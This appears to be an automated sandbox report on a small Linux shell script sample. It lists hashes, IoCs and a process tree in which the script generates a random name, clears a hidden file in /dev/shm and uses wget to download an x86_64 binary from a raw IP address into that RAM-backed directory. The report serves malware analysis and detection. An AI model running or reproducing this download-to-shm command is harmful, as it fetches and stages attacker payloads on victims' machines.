e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846

Analysis

max time kernel
147s
max time network
148s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20260513-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/07/2026, 10:43

Target
_e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846.sh
Size 2KB
Sample260702-mscvcaew3l
SHA256 e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846
MD5 34cfb9d1a977bd4f509752007a87419d
SHA1 b08f4dc352629e24078556670729a7e00f71ed38
SHA512 5518bcb46c1199ea59daef0a229a81d33d85f79065167c152ee0dd096d7ff7b59c6d3693c13db39d443523e886d9cf55687d21846009702612da707bdf148c49
TLSH
T1CB41CE91FC63882275EB04A56FAA51853487846F8114FC6BBDCFB96C7F78869B02C324
MD5 SHA1 SHA512 TLSH

Score

3^/10

discovery

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

description	ioc	Process
File opened for reading	/proc/sys/kernel/random/uuid	cat

Writes file to shm directory 1 IoCs

Malware can drop malicious files in the shm directory which will run directly from RAM.

description	ioc	Process
File opened for modification	/dev/shm/.e146c529	wget

/tmp/_e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846.sh
/tmp/_e0d57d5b75373238c4164f9fa1844db5027093df0de9c36eb7fe52fa4d1bc846.sh
1⤵
PID:1492
- /bin/uname
  uname -m
  2⤵
  PID:1493
- /usr/bin/cut
  cut -c1-8
  2⤵
  PID:1497
- /usr/bin/tr
  tr -d -
  2⤵
  PID:1496
- /bin/cat
  cat /proc/sys/kernel/random/uuid
  2⤵
  - Reads runtime system information
  PID:1495
- /bin/rm
  rm -f /dev/shm/.e146c529
  2⤵
  PID:1499
- /usr/bin/wget
  wget -q -O /dev/shm/.e146c529 http://176.65.139.191/xuawnsi.x86_64
  2⤵
  - Writes file to shm directory
  PID:1500